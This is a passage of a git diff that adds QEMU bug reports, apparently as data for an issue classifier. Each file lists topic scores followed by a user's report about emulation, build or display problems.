+The command that I use to lauch QEMU is : + + sudo qemu-system-arm -M beaglexm -m 1024 -sd ./test.img -clock unix -see -device usb-kbd -chardev tty,id=mytty,path=/dev/ttyS0 + +As it says in the QEMU's manual -chardev is suppose to connect to a local tty device at the path given + +My problem goes like this: + +At the guest kernel boot I'm able to see that my UART where enabled + + [ 2.682040] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled + [ 2.777947] omap_uart.0: ttyO0 at MMIO 0x4806a000 (irq = 72) is a OMAP UART0 + [ 2.794967] omap_uart.1: ttyO1 at MMIO 0x4806c000 (irq = 73) is a OMAP UART1 + [ 2.814942] omap_uart.2: ttyO2 at MMIO 0x49020000 (irq = 74) is a OMAP UART2 + [ 2.966825] console [ttyO2] enabled + [ 2.984777] omap_uart.3: ttyO3 at MMIO 0x49042000 (irq = 80) is a OMAP UART3 + +In fact, when I go see in to /proc/tty/driver and I do a cat on OMAP-SERIAL Im able to see this serinfo:1.0 driver revision: + + 0: uart:OMAP UART0 mmio:0x4806A000 irq:72 tx:0 rx:0 CTS|DSR|CD + 1: uart:OMAP UART1 mmio:0x4806C000 irq:73 tx:0 rx:0 CTS|DSR|CD + 2: uart:OMAP UART2 mmio:0x49020000 irq:74 tx:268 rx:37 RTS|CTS|DTR|DSR|CD + 3: uart:OMAP UART3 mmio:0x49042000 irq:80 tx:0 rx:0 CTS|DSR|CD + +I know that ttyO2 is working because my console is been redirected to it. The thing is that doing a set serial on any of the ttyO I get the following message: + + [root@enu driver]# setserial -a /dev/ttyO0 + /dev/ttyO0, Line 0, UART: undefined, Port: 0x0000, IRQ: 72 + Baud_base: 3000000, close_delay: 50, divisor: 0 + closing_wait: 3000 + Flags: spd_normal + +The same goes with ttyO2. I tryed to set some sethings to any of the ttyO with setserial but I always get the same message: + + [root@enu ~]# setserial /dev/ttyO0 uart 8250 + setserial: can't set serial info: Invalid argument + [root@enu ~]# setserial /dev/ttyO0 port 0x4806a000 + setserial: can't set serial info: Invalid argument + +basicly I want to establish a serial communication between a guest and a host, but the serial ports on the guest side aren't well configured. + +When I open ttyS0 with minicom on the host side and do on the guest side + + echo "test" > /dev/ttyO0 + +The host recives nothing. + +Anyone can tell me how I could remove tty modules on the guest side and try to insert it again to see if the setup resets properly or give me any advice on how to solve this problem. Plus if anyone has already tryed doing this kind on serial communication I would like to here from you. + +Thank, +Francisco + +for me qemu crashes if I try to connect on /dev/pts/<whatever i'll be> + +Hi. The beaglexm model isn't part of upstream QEMU (it was in a set of downstream patches for OMAP3 which were never merged upstream and which are now essentially abandoned.) The root cause of this bug is that support for pass-through of a host serial port requires specific support in the device model for the UART to pass through the serial parameters (baud rate etc); this is implemented in some UART models but not all and apparently not in the OMAP3 UART code. + +Since this isn't a bug in upstream QEMU, I'm going to close this (now four year old) bug report; sorry we can't be more helpful here :-( + + diff --git a/results/classifier/108/graphic/1191457 b/results/classifier/108/graphic/1191457 new file mode 100644 index 000000000..1a1df2ea5 --- /dev/null +++ b/results/classifier/108/graphic/1191457 @@ -0,0 +1,21 @@ +graphic: 0.984 +device: 0.910 +socket: 0.877 +network: 0.876 +permissions: 0.874 +vnc: 0.856 +KVM: 0.825 +files: 0.818 +PID: 0.735 +boot: 0.718 +debug: 0.682 +other: 0.659 +performance: 0.581 +semantic: 0.572 + +broken build without sdl + +vl.c fails to build if not using sdl since no_frame variable is only defined if CONFIG_SDL, while QEMU_OPTION_no_frame tries to set it without ifdef + +the bug was fixed in a1077090cea97df26a754d16d7c9e1d410d81eaa + diff --git a/results/classifier/108/graphic/1194 b/results/classifier/108/graphic/1194 new file mode 100644 index 000000000..15a68c863 --- /dev/null +++ b/results/classifier/108/graphic/1194 @@ -0,0 +1,30 @@ +graphic: 0.979 +device: 0.966 +PID: 0.813 +files: 0.810 +network: 0.810 +debug: 0.790 +vnc: 0.748 +socket: 0.732 +performance: 0.731 +semantic: 0.620 +permissions: 0.605 +boot: 0.527 +KVM: 0.490 +other: 0.428 + +Initialization of device virtio-net-pci failed: failed to find romfile "efi-virtio.rom" +Description of problem: +After executing the below command inside adb shell +qemu-system-aarch64 -enable-kvm -nographic \ +-kernel Image -initrd ramdisk.img -m 512 -M virt -cpu host \ + +I am getting the below error +"qemu-system-aarch64: Initialization of device virtio-net-pci failed: failed to find romfile "efi-virtio.rom"" +Steps to reproduce: +1. adb Push qemu-system-aarch64 inside system/bin +2. Run +qemu-system-aarch64 -enable-kvm -nographic \ +-kernel Image -initrd ramdisk.img -m 512 -M virt -cpu host \ +Additional information: +Kindly help me to proceed further diff --git a/results/classifier/108/graphic/1200 b/results/classifier/108/graphic/1200 new file mode 100644 index 000000000..2b8fa30dc --- /dev/null +++ b/results/classifier/108/graphic/1200 @@ -0,0 +1,40 @@ +graphic: 0.921 +device: 0.828 +performance: 0.820 +semantic: 0.558 +other: 0.248 +network: 0.220 +KVM: 0.183 +vnc: 0.144 +debug: 0.122 +PID: 0.090 +boot: 0.059 +socket: 0.026 +permissions: 0.016 +files: 0.015 + +always zero when query-dirty-rate +Description of problem: +The creation of VM works well(by virt-install), and I can enter it by 'virsh console or ssh'. + +Now, I try to use qemu's feature: calc-dirty-rate. + +But, always get '"dirty-rate":0' when 'query-dirty-rate', occasionally '"dirty-rate":2'. + +At the same time, I run 'mbw'(mbw -t0 -n 1000000 1024 -q) in vm, a memcpy-intensive benchmark. + + +I'm not sure if some configurations of QEMU/KVM are not enabled. + +looking forward to your reply! +Steps to reproduce: +``` +1. virsh qemu-monitor-command centos-huazhang '{"execute":"calc-dirty-rate", "arguments": {"calc-time": 1}}' + + {"return":{},"id":"libvirt-16"} + +2. virsh qemu-monitor-command centos-huazhang1 '{"execute":"query-dirty-rate"}' + + {"return":{"status":"measured","sample-pages":512,"dirty-rate":0,"mode":"page-sampling","start-time":607266,"calc-time":1},"id":"libvirt-17"} + +``` diff --git a/results/classifier/108/graphic/1201 b/results/classifier/108/graphic/1201 new file mode 100644 index 000000000..d16347550 --- /dev/null +++ b/results/classifier/108/graphic/1201 @@ -0,0 +1,25 @@ +graphic: 0.991 +device: 0.956 +files: 0.874 +boot: 0.817 +semantic: 0.763 +PID: 0.631 +permissions: 0.572 +debug: 0.559 +network: 0.556 +performance: 0.528 +vnc: 0.496 +socket: 0.434 +other: 0.202 +KVM: 0.018 + +Qemu with Windows 10 +Description of problem: +I see a colored screen with flashing cursor and cannot complete Windows installation. +Steps to reproduce: +1. Install `qemu-w64-setup-20220831.exe` on Windows 10 Pro for Workstations 21H2. +2. `cd C:\Program Files\qemu` +3. `qemu-img.exe create -f raw win.img 25600M` +4. `qemu-system-i386w.exe -boot c -m 4096 -hda win.img -cdrom "C:\Users\me\Downloads\Win10_21H2_English_x64.iso"` +Additional information: + diff --git a/results/classifier/108/graphic/1205 b/results/classifier/108/graphic/1205 new file mode 100644 index 000000000..a295a34f2 --- /dev/null +++ b/results/classifier/108/graphic/1205 @@ -0,0 +1,22 @@ +graphic: 0.968 +device: 0.935 +semantic: 0.822 +performance: 0.778 +network: 0.726 +debug: 0.721 +PID: 0.591 +boot: 0.458 +socket: 0.331 +files: 0.324 +other: 0.302 +vnc: 0.286 +permissions: 0.125 +KVM: 0.011 + +Cannot use `-serial stdio` on macbook pro, apple silicon +Description of problem: +When I run the command above, it will show below: +``` +(qemu) qemu-system-aarch64: -serial stdio: cannot use stdio by multiple character devices +qemu-system-aarch64: -serial stdio: could not connect serial device to character backend 'stdio' +``` diff --git a/results/classifier/108/graphic/1207 b/results/classifier/108/graphic/1207 new file mode 100644 index 000000000..7891f5db0 --- /dev/null +++ b/results/classifier/108/graphic/1207 @@ -0,0 +1,18 @@ +graphic: 0.979 +device: 0.971 +semantic: 0.931 +performance: 0.859 +other: 0.815 +debug: 0.778 +network: 0.644 +permissions: 0.454 +boot: 0.441 +PID: 0.389 +files: 0.278 +vnc: 0.223 +socket: 0.151 +KVM: 0.027 + +Cannot use qcow2 to create a VM on apple silicon macbook +Description of problem: +Nothing to output when I input the command above. And it seems not to boot successfully. diff --git a/results/classifier/108/graphic/1214 b/results/classifier/108/graphic/1214 new file mode 100644 index 000000000..b9dcaabb0 --- /dev/null +++ b/results/classifier/108/graphic/1214 @@ -0,0 +1,16 @@ +graphic: 0.991 +device: 0.799 +performance: 0.647 +network: 0.273 +permissions: 0.127 +boot: 0.108 +files: 0.107 +other: 0.082 +debug: 0.075 +semantic: 0.068 +PID: 0.048 +vnc: 0.044 +socket: 0.027 +KVM: 0.013 + +qemu-riscv64 mmap will exhaust all physical memory diff --git a/results/classifier/108/graphic/1216 b/results/classifier/108/graphic/1216 new file mode 100644 index 000000000..b95d20679 --- /dev/null +++ b/results/classifier/108/graphic/1216 @@ -0,0 +1,24 @@ +graphic: 0.955 +device: 0.879 +other: 0.740 +performance: 0.711 +PID: 0.617 +files: 0.585 +semantic: 0.580 +debug: 0.536 +boot: 0.520 +socket: 0.487 +permissions: 0.460 +network: 0.424 +vnc: 0.408 +KVM: 0.302 + +System crashes/hangs when running qemu-img convert +Description of problem: +**Upon running the above command, the Virtual Machine simply crashes and is irrecoverable** +Steps to reproduce: +1. **Start Ubuntu 20.04 or SIFT Workstation** +2. **sudo apt-get install qemu** +3. **qemu-img convert -O raw JEA.vmdk JEA.vmdk.raw** +Additional information: +I have also run this on macOS and it just hangs and never completes diff --git a/results/classifier/108/graphic/1219 b/results/classifier/108/graphic/1219 new file mode 100644 index 000000000..de0780b7a --- /dev/null +++ b/results/classifier/108/graphic/1219 @@ -0,0 +1,28 @@ +graphic: 0.980 +device: 0.922 +KVM: 0.867 +debug: 0.803 +semantic: 0.748 +network: 0.648 +files: 0.634 +other: 0.589 +vnc: 0.573 +PID: 0.560 +permissions: 0.557 +performance: 0.538 +boot: 0.397 +socket: 0.341 + +--enable-kvm not work for riscv64-softmmu +Description of problem: +I want to enable kvm for qemu-system-riscv64, so I compile it with `--enable-kvm` as above. But the log shows + +```sh + Targets and accelerators + KVM support : NO +``` + +And also compiled qemu-system-riscv64 does not support kvm. +Steps to reproduce: +1. clone the repo +2. `./configure --target-list=riscv64-softmmu --enable-kvm` diff --git a/results/classifier/108/graphic/1220 b/results/classifier/108/graphic/1220 new file mode 100644 index 000000000..fa2bd9c7a --- /dev/null +++ b/results/classifier/108/graphic/1220 @@ -0,0 +1,31 @@ +graphic: 0.982 +device: 0.898 +network: 0.763 +performance: 0.751 +semantic: 0.688 +debug: 0.562 +PID: 0.550 +boot: 0.510 +vnc: 0.338 +socket: 0.336 +files: 0.314 +KVM: 0.302 +permissions: 0.270 +other: 0.236 + +when migrate,I unplugged the disk, why can't I force cancel the job task use qmp +Description of problem: +when migrate,I unplugged the disk,the block job will hung,but why can't I force cancel the job task +Steps to reproduce: +1.migrate a guset to another host with non-share disk (iscsi) + +2.unplug the disk + +3.then force cancel the block job task + + +but it not work,the cancle handle is not work + + + + diff --git a/results/classifier/108/graphic/1221966 b/results/classifier/108/graphic/1221966 new file mode 100644 index 000000000..635749e15 --- /dev/null +++ b/results/classifier/108/graphic/1221966 @@ -0,0 +1,73 @@ +graphic: 0.966 +semantic: 0.962 +debug: 0.953 +other: 0.947 +socket: 0.942 +device: 0.936 +permissions: 0.933 +vnc: 0.929 +performance: 0.924 +PID: 0.924 +boot: 0.901 +network: 0.884 +KVM: 0.874 +files: 0.866 + +SIGSEGV in static_code_gen_buffer + +Trying to run 'ls' (or, anything else as far as I can tell) from a SunOS 5.8 box under RHEL 6.4 linux, I get a segfault. I've tried qemu-1.5.3, qemu-1.6.0, and I fetched git://git.qemu-project.org/qemu.git. I've also tried a statically linked sh from /sbin/ and it also segfaulted. + +wcolburn@anotheruvula</home/anotheruvula/qemu>$ gdb bin/qemu-sparc +GNU gdb (GDB) Red Hat Enterprise Linux (7.2-60.el6_4.1) +Copyright (C) 2010 Free Software Foundation, Inc. +License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> +This is free software: you are free to change and redistribute it. +There is NO WARRANTY, to the extent permitted by law. Type "show copying" +and "show warranty" for details. +This GDB was configured as "x86_64-redhat-linux-gnu". +For bug reporting instructions, please see: +<http://www.gnu.org/software/gdb/bugs/>... +Reading symbols from /home/anotheruvula/qemu/bin/qemu-sparc...done. +(gdb) run ../sparc/ls +Starting program: /home/anotheruvula/qemu/bin/qemu-sparc ../sparc/ls +[Thread debugging using libthread_db enabled] + +Program received signal SIGSEGV, Segmentation fault. +0x00007ffff8259116 in static_code_gen_buffer () +Missing separate debuginfos, use: debuginfo-install glib2-2.22.5-7.el6.x86_64 glibc-2.12-1.107.el6_4.4.x86_64 +(gdb) where +#0 0x00007ffff8259116 in static_code_gen_buffer () +#1 0x00007ffff7f570cd in cpu_tb_exec (cpu=0x7ffffa2b1210, tb_ptr= + 0x7ffff82590d0 "A\213n \205í\017\205Í") + at /home/anotheruvula/qemu-devel/cpu-exec.c:56 +#2 0x00007ffff7f57b2d in cpu_sparc_exec (env=0x7ffffa2b1348) + at /home/anotheruvula/qemu-devel/cpu-exec.c:631 +#3 0x00007ffff7f77f36 in cpu_loop (env=0x7ffffa2b1348) + at /home/anotheruvula/qemu-devel/linux-user/main.c:1089 +#4 0x00007ffff7f798ff in main (argc=2, argv=0x7fffffffdfc8, envp= + 0x7fffffffdfe0) at /home/anotheruvula/qemu-devel/linux-user/main.c:4083 +(gdb) + +SIGSEGVs from qemu-linux-user are expected -- this is how we track self-modifying code in the guest binary. We catch the SIGSEGV and handle it appropriately. In particular, SPARC binaries do this a lot because their dynamic-linking mechanism involves self-modifying code. + +If you don't run the program under a debugger (or if you tell gdb to pass SIGSEGV through to the target rather than stopping), what does it do? + + +If I run it normally, it crashes in the same way. If I pass the signal through it crashes in the same way. I sort of expect this, since it is qemu segfaulting when it tries to generate the code buffer, not the underlying problem. + +"it is qemu segfaulting when it tries to generate the code buffer" -- why do you think this? The backtrace you quote shows the segfault inside static_code_gen_buffer(), which means we are running the generated code, not doing codegen. + + +Oh is it? Sorry, I guess I didn't understand what that function was doing. That thing is sort of confusing in there... + +And, in the grand scheme of things, I've been trying to piece together what the problem software is that I need qemu for. It turns out I've got two very old sparcs both running Oracle with a variety of client programs I need. It could be that qemu-sparc is a waste of time and I need to focus on qemu-system-sparc instead. + +If you want to "disappear" this bug, go ahead. + +Triaging old bug tickets ... is this still an issue with the latest version of QEMU or could we close this ticket nowadays? + +Also I just noticed that the original report says the crash is while trying to run a SunOS binary. This isn't supported at all -- we can run Linux Sparc binaries with qemu-sparc, not random-other-OS binaries, and "guest binary crashes" is not an implausible result... + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1231 b/results/classifier/108/graphic/1231 new file mode 100644 index 000000000..f3afd092e --- /dev/null +++ b/results/classifier/108/graphic/1231 @@ -0,0 +1,28 @@ +graphic: 0.969 +debug: 0.907 +device: 0.822 +vnc: 0.678 +semantic: 0.652 +performance: 0.516 +PID: 0.490 +network: 0.437 +files: 0.367 +KVM: 0.305 +boot: 0.245 +other: 0.237 +socket: 0.193 +permissions: 0.055 + +Loading migration of VM in debug state fails (with potential solution) +Description of problem: +``` +qemu-system-x86_64: invalid runstate transition: 'inmigrate' -> 'debug' +Aborted (core dumped) +``` +Steps to reproduce: +1. Start VM with gdbstub +2. Pause VM via gdbstub +3. Save migration snapshot via HMP: `migrate "exec: gzip -c > foo.gz"` +4. Start new QEMU instance from snapshot by adding these args to whatever you used to launch QEMU: `-incoming "exec: gzip -c -d foo.gz"` +Additional information: +This can be fixed by adding `{ RUN_STATE_INMIGRATE, RUN_STATE_DEBUG },` to `runstate_transitions_def` in `softmmu/runstate.c`. It's not clear if there are any negative ramifications of this, but it seems to work for me? diff --git a/results/classifier/108/graphic/1256 b/results/classifier/108/graphic/1256 new file mode 100644 index 000000000..1559674bc --- /dev/null +++ b/results/classifier/108/graphic/1256 @@ -0,0 +1,37 @@ +graphic: 0.956 +device: 0.857 +PID: 0.830 +network: 0.752 +semantic: 0.742 +socket: 0.643 +permissions: 0.634 +debug: 0.618 +performance: 0.590 +files: 0.587 +vnc: 0.565 +boot: 0.434 +other: 0.095 +KVM: 0.043 + +Building installer fails on Windows 10 Msys2 +Description of problem: +build fails with: +``` +make[2]: Leaving directory '/c/Users/sxlga/source/repos/qemu/build' +Traceback (most recent call last): + File "C:\Users\sxlga\source\repos\qemu\scripts\nsis.py", line 89, in <module> + main() + File "C:\Users\sxlga\source\repos\qemu\scripts\nsis.py", line 34, in main + with open( +OSError: [Errno 22] Invalid argument: 'C:/Users/sxlga/AppData/Local/Temp/tmpinyvlwkoC:/msys64/qemu/system-emulations.nsh' +ninja: build stopped: subcommand failed. +make[1]: *** [Makefile:165: run-ninja] Error 1 +make[1]: Leaving directory '/c/Users/sxlga/source/repos/qemu/build' +make: *** [GNUmakefile:11: installer] Error 2 +``` +Steps to reproduce: +1. ./configure --target-list=arm-softmmu,aarch64-softmmu +2. make all +3. make installer +Additional information: +following https://wiki.qemu.org/Hosts/W32#Native_builds_with_MSYS2 to set up toolchain diff --git a/results/classifier/108/graphic/1276 b/results/classifier/108/graphic/1276 new file mode 100644 index 000000000..c5bfdcd7f --- /dev/null +++ b/results/classifier/108/graphic/1276 @@ -0,0 +1,30 @@ +graphic: 0.984 +device: 0.851 +semantic: 0.528 +files: 0.364 +boot: 0.362 +performance: 0.288 +vnc: 0.262 +PID: 0.221 +socket: 0.203 +debug: 0.190 +other: 0.137 +network: 0.135 +permissions: 0.063 +KVM: 0.030 + +[SDL] Fractional scaling is blurry +Description of problem: +The display looks blurry +Steps to reproduce: +1. Use a Wayland compositor (eg. Sway) with scale set to `1.25` +2. Launch an Ubuntu guest with the SDL display +3. Notice blurryness +Additional information: +https://github.com/libsdl-org/SDL/issues/6438 + +Blurry display https://user-images.githubusercontent.com/67585967/197484538-fde750aa-8982-4ac2-9d83-3861f6411a31.png + +Display with 1.00 scale https://user-images.githubusercontent.com/67585967/197484417-afd1d1c5-5ea1-46ce-82c5-fa8d9b2df459.png + +It was suggested in the SDL issue (https://github.com/libsdl-org/SDL/issues/6438#issuecomment-1289513402) that it's caused by the `SDL_WINDOW_ALLOW_HIGHDPI` not being set. However, after setting that flag, the display is sharp again but it's not scaled properly (boxed) https://github.com/libsdl-org/SDL/issues/6438#issuecomment-1291663284, no idea what other changes need to be made. diff --git a/results/classifier/108/graphic/1278 b/results/classifier/108/graphic/1278 new file mode 100644 index 000000000..977f6b197 --- /dev/null +++ b/results/classifier/108/graphic/1278 @@ -0,0 +1,21 @@ +graphic: 0.960 +device: 0.863 +network: 0.528 +debug: 0.427 +semantic: 0.405 +PID: 0.386 +socket: 0.332 +vnc: 0.277 +other: 0.274 +files: 0.267 +boot: 0.246 +performance: 0.236 +KVM: 0.216 +permissions: 0.203 + +Error creating encrypted qcow2 disk using qemu-img +Description of problem: +Error creating encrypted qcow2 disk using qemu-img:No crypto library supporting PBKDF in this build: Function not implemented + +Steps to reproduce: +1.qemu-img create --object secret,id=sec0,data=123456 -f qcow2 -o encrypt.format=luks,encrypt.key-secret=sec0 base.qcow2 1G diff --git a/results/classifier/108/graphic/1280961 b/results/classifier/108/graphic/1280961 new file mode 100644 index 000000000..19050f05f --- /dev/null +++ b/results/classifier/108/graphic/1280961 @@ -0,0 +1,31 @@ +graphic: 0.965 +KVM: 0.963 +files: 0.855 +device: 0.820 +vnc: 0.745 +PID: 0.736 +other: 0.719 +debug: 0.718 +semantic: 0.717 +performance: 0.695 +network: 0.586 +boot: 0.558 +socket: 0.517 +permissions: 0.470 + +editing the file when mount the file system using 9pfs. it will report fsync failed. + + I have get a fsync error when I use the 9pfs on the kvm guest. it appears when I use vi editor and sysbench. I have not found the reason yet. can you tell something about it? the attache is the picture. and there is no any log which I can provide. + + My qemu version is qemu-kvm-0.13.0, and my host linux distributions is 2.6.32-431.el6.x86_64 and the guest vm is the same version which enable 9pfs and 9pnet support. I use the string of "mount -t 9p -o trans=virtio test_mount /tmp/shared/ -oversion=9p2000.L,posixacl" to get the file system. + +resovled it, this is because in the kernel 2.6.32; the 9pfs doesn't implement the fsync function. just back port the code from higher version, can resolve it. + +like this patch + +https://gitorious.org/linux-gemini/mainline/commit/7a4439c406c21b1e900ed497cec1a79d05b38c07 + + + +Closing, as this problem has been resolved according to the last comment. + diff --git a/results/classifier/108/graphic/1285 b/results/classifier/108/graphic/1285 new file mode 100644 index 000000000..139a1f1bb --- /dev/null +++ b/results/classifier/108/graphic/1285 @@ -0,0 +1,35 @@ +graphic: 0.943 +device: 0.857 +PID: 0.756 +debug: 0.735 +semantic: 0.692 +vnc: 0.649 +performance: 0.608 +boot: 0.570 +files: 0.567 +socket: 0.409 +permissions: 0.402 +network: 0.349 +other: 0.184 +KVM: 0.134 + +Can't use spice-app on macOS because GIO can't find handler for spice+unix scheme +Description of problem: +``` +qemu-system-aarch64: info: Launching display with URI: spice+unix:///tmp/.U96NU1/spice.sock +qemu-system-aarch64: warning: GLib-GIO: No default handler found for url scheme 'spice+unix'. +qemu-system-aarch64: warning: GLib-GIO: No default handler found for url scheme 'spice+unix'. +qemu-system-aarch64: Failed to launch spice+unix:///tmp/.U96NU1/spice.sock URI: Operation not supported +qemu-system-aarch64: You need a capable Spice client, such as virt-viewer 8.0 +``` + +``` +$ virt-viewer --version +virt-viewer version 11.0 +``` +Steps to reproduce: +1. Have virt-viewer in $PATH +2. Run command above +3. Observe error above +Additional information: + diff --git a/results/classifier/108/graphic/1296 b/results/classifier/108/graphic/1296 new file mode 100644 index 000000000..be2718e89 --- /dev/null +++ b/results/classifier/108/graphic/1296 @@ -0,0 +1,23 @@ +graphic: 0.934 +device: 0.836 +network: 0.812 +performance: 0.750 +semantic: 0.592 +boot: 0.558 +files: 0.487 +debug: 0.484 +socket: 0.457 +vnc: 0.448 +PID: 0.380 +permissions: 0.300 +other: 0.134 +KVM: 0.090 + +qemu hangs on start with a bridged NIC +Description of problem: +qemu hangs on start with a bridged NIC. And there is no difference exists the bridge or not. At the same with a user NIC (`-nic user`) everything works flawlessly. Also I tried to add `-enable-kvm` key and had no luck. +Steps to reproduce: +1. Run qemu with the specified command line. +Additional information: +I ran the strace: `strace -s 1024 -tt -ff -y -o qemu_bridge -- qemu-system-x86_64 -nic bridge` +Here are the logs: [qemu-bridge-strace.zip](/uploads/ecf8a2ba9133279fdd6f88fda5dd9ff3/qemu-bridge-strace.zip) diff --git a/results/classifier/108/graphic/1305400 b/results/classifier/108/graphic/1305400 new file mode 100644 index 000000000..745f91479 --- /dev/null +++ b/results/classifier/108/graphic/1305400 @@ -0,0 +1,119 @@ +graphic: 0.940 +debug: 0.926 +other: 0.903 +semantic: 0.881 +permissions: 0.881 +PID: 0.879 +performance: 0.857 +KVM: 0.857 +socket: 0.856 +vnc: 0.843 +boot: 0.839 +device: 0.829 +network: 0.824 +files: 0.803 + +qmp-version of memsave makes a zero filled dump + +calling the memsave function through hmp and qmp makes a different results. it happened because hmp_memsave calls synchronization of cpu, but qmp_marshal_input_memsave does not. so virDomainMemoryPeek (libvirt api) does not work correctly + +1) hmp: +void hmp_memsave(Monitor *mon, const QDict *qdict) +{ + uint32_t size = qdict_get_int(qdict, "size"); + const char *filename = qdict_get_str(qdict, "filename"); + uint64_t addr = qdict_get_int(qdict, "val"); + Error *errp = NULL; + + qmp_memsave(addr, size, filename, true, <<<< monitor_get_cpu_index() >>>, &errp); + hmp_handle_error(mon, &errp); +} +int monitor_get_cpu_index(void) +{ + CPUState *cpu = ENV_GET_CPU(<<< mon_get_cpu >>>()); + return cpu->cpu_index; +} +static CPUArchState *mon_get_cpu(void) +{ + if (!cur_mon->mon_cpu) { + monitor_set_cpu(0); + } + <<< cpu_synchronize_state(cur_mon->mon_cpu); >>> + return cur_mon->mon_cpu->env_ptr; +} + +2) qmp +int qmp_marshal_input_memsave(Monitor *mon, const QDict *qdict, QObject **ret) +{ + Error *local_err = NULL; + Error **errp = &local_err; + QDict *args = (QDict *)qdict; + QmpInputVisitor *mi; + QapiDeallocVisitor *md; + Visitor *v; + int64_t val; + int64_t size; + char * filename = NULL; + bool has_cpu_index = false; + int64_t cpu_index; + + mi = qmp_input_visitor_new_strict(QOBJECT(args)); + v = qmp_input_get_visitor(mi); + visit_type_int(v, &val, "val", errp); + visit_type_int(v, &size, "size", errp); + visit_type_str(v, &filename, "filename", errp); + visit_start_optional(v, &has_cpu_index, "cpu-index", errp); + if (has_cpu_index) { + visit_type_int(v, &cpu_index, "cpu-index", errp); + } + visit_end_optional(v, errp); + qmp_input_visitor_cleanup(mi); + + if (error_is_set(errp)) { + goto out; + } + <<< qmp_memsave(val, size, filename, has_cpu_index, cpu_index, errp); >>> + +out: + md = qapi_dealloc_visitor_new(); + v = qapi_dealloc_get_visitor(md); + visit_type_int(v, &val, "val", NULL); + visit_type_int(v, &size, "size", NULL); + visit_type_str(v, &filename, "filename", NULL); + visit_start_optional(v, &has_cpu_index, "cpu-index", NULL); + if (has_cpu_index) { + visit_type_int(v, &cpu_index, "cpu-index", NULL); + } + visit_end_optional(v, NULL); + qapi_dealloc_visitor_cleanup(md); + + if (local_err) { + qerror_report_err(local_err); + error_free(local_err); + return -1; + } + return 0; +} + +how to reproduce: + +1) run qemu as it makes a libvirtd +./qemu-system-x86_64 -name gentoo -machine pc-i440fx-1.7,accel=kvm,usb=off -m 1024 -realtime mlock=off -smp 1,sockets=1,cores=1,threads=1 -uuid 135b3e47-43ca-bc68-e23b-354a2f62a023 -no-user-config -nodefaults -chardev socket,id=charmonitor,path=./gentoo.monitor,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=utc -no-shutdown -boot menu=off,strict=on -kernel ./bzImage -append root="/dev/vda2 vga=38f" -device piix3-usb-uhci,id=usb,bus=pci.0,addr=0x1.0x2 -drive file=./gentoo.img,if=none,id=drive-virtio-disk0,format=raw -device virtio-blk-pci,scsi=off,bus=pci.0,addr=0x4,drive=drive-virtio-disk0,id=virtio-disk0,bootindex=1 -drive file=./install-amd64-minimal-20140320.iso,if=none,id=drive-ide0-1-0,readonly=on,format=raw -device ide-cd,bus=ide.1,unit=0,drive=drive-ide0-1-0,id=ide0-1-0,bootindex=2 -chardev pty,id=charserial0 -device isa-serial,chardev=charserial0,id=serial0 -vnc 127.0.0.1:0 -device qxl-vga,id=video0,ram_size=67108864,vram_size=67108864,bus=pci.0,addr=0x2 -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x5 -vnc 127.0.0.1:2 -monitor stdio + +2) attach to qemu through qmp-shell (taken from qemu sources) +python ./qmp-shell ./gentoo.monitor + +3) make some commands in sequence +(qmp-shell) memsave memsave val=-2130706432 size=100 filename=./test01 +(stdio monitor) memsave 0xffffffff81000000 100 ./test02 +(qmp-shell) memsave memsave val=-2130706432 size=100 filename=./test03 + +result: +test01 - zero filled +test02 - right +test03 - right + +Looking through old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1317 b/results/classifier/108/graphic/1317 new file mode 100644 index 000000000..2b8c92083 --- /dev/null +++ b/results/classifier/108/graphic/1317 @@ -0,0 +1,64 @@ +graphic: 0.989 +semantic: 0.982 +device: 0.977 +debug: 0.971 +socket: 0.958 +vnc: 0.955 +other: 0.954 +performance: 0.930 +PID: 0.925 +permissions: 0.924 +files: 0.924 +boot: 0.893 +network: 0.884 +KVM: 0.864 + +"make-check avocado" doesn't work in ubuntu 1804 because of older versions of pip and setuputils +Description of problem: +make check-avocado tests don't run in Ubuntu 18.04, I get an error: + +`Command "python setup.py egg_info" failed with error code 1 in /qemu/python/` + +It looks like pip and setuputils are too old in 18.04 (which is still an active lts version supposedly). +Steps to reproduce: +Compile qemu in Ubuntu 18.04. This is an ad-hoc example with docker but I reproduced it in Ubuntu 18.04 VM too +1. Create docker from Dockerfile [Dockerfile](/uploads/a5748cabca5319f467cbc0b803ed9104/Dockerfile): + +<code>FROM ubuntu:18.04 +RUN apt update +RUN apt-get install -y git libglib2.0-dev libfdt-dev libpixman-1-dev zlib1g-dev ninja-build git-email libaio-dev libbluetooth-dev libcapstone-dev libbrlapi-dev libbz2-dev libcap-ng-dev libcurl4-gnutls-dev libgtk-3-dev libibverbs-dev libjpeg8-dev libncurses5-dev libnuma-dev librbd-dev librdmacm-dev libsasl2-dev libsdl2-dev libseccomp-dev libsnappy-dev libssh-dev libvde-dev libvdeplug-dev libvte-2.91-dev libxen-dev liblzo2-dev valgrind xfslibs-dev python3-venv</code> + +`docker build -t 1804qemuavocado .` + +2. Run shell inside of docker: + +`docker run -it 1804qemuavocado bash` + +3. Clone QEMU: + +`git clone --depth 1 https://github.com/qemu/qemu.git` + +4. Build QEMU (targets and parameters should not matter much): + +<code>cd qemu +mkdir build +cd build +../configure --target-list=x86_64-softmmu +ninja</code> + +5. Attempt to run tests: + +`make check-avocado` + +6. Get an error: + +<code>/usr/bin/python3 -B /qemu/meson/meson.py introspect --targets --tests --benchmarks | /usr/bin/python3 -B scripts/mtest2make.py > Makefile.mtest + GIT ui/keycodemapdb meson tests/fp/berkeley-testfloat-3 tests/fp/berkeley-softfloat-3 dtc + GIT ui/keycodemapdb meson tests/fp/berkeley-testfloat-3 tests/fp/berkeley-softfloat-3 dtc + VENV /qemu/build/tests/venv + VENVPIP install -e /qemu/python/ +Command "python setup.py egg_info" failed with error code 1 in /qemu/python/ +/qemu/tests/Makefile.include:115: recipe for target '/qemu/build/tests/venv' failed +make: *** [/qemu/build/tests/venv] Error 1</code> +Additional information: +As far as I understand, upgrading pip in system won't help, because venv creates an environment with base pip version (9 in case of Ubuntu 18.04). I tried creating a small patch [patch.diff](/uploads/0ae4883106773f0ea940d27b74219732/patch.diff) for tests/Makefile.include, that 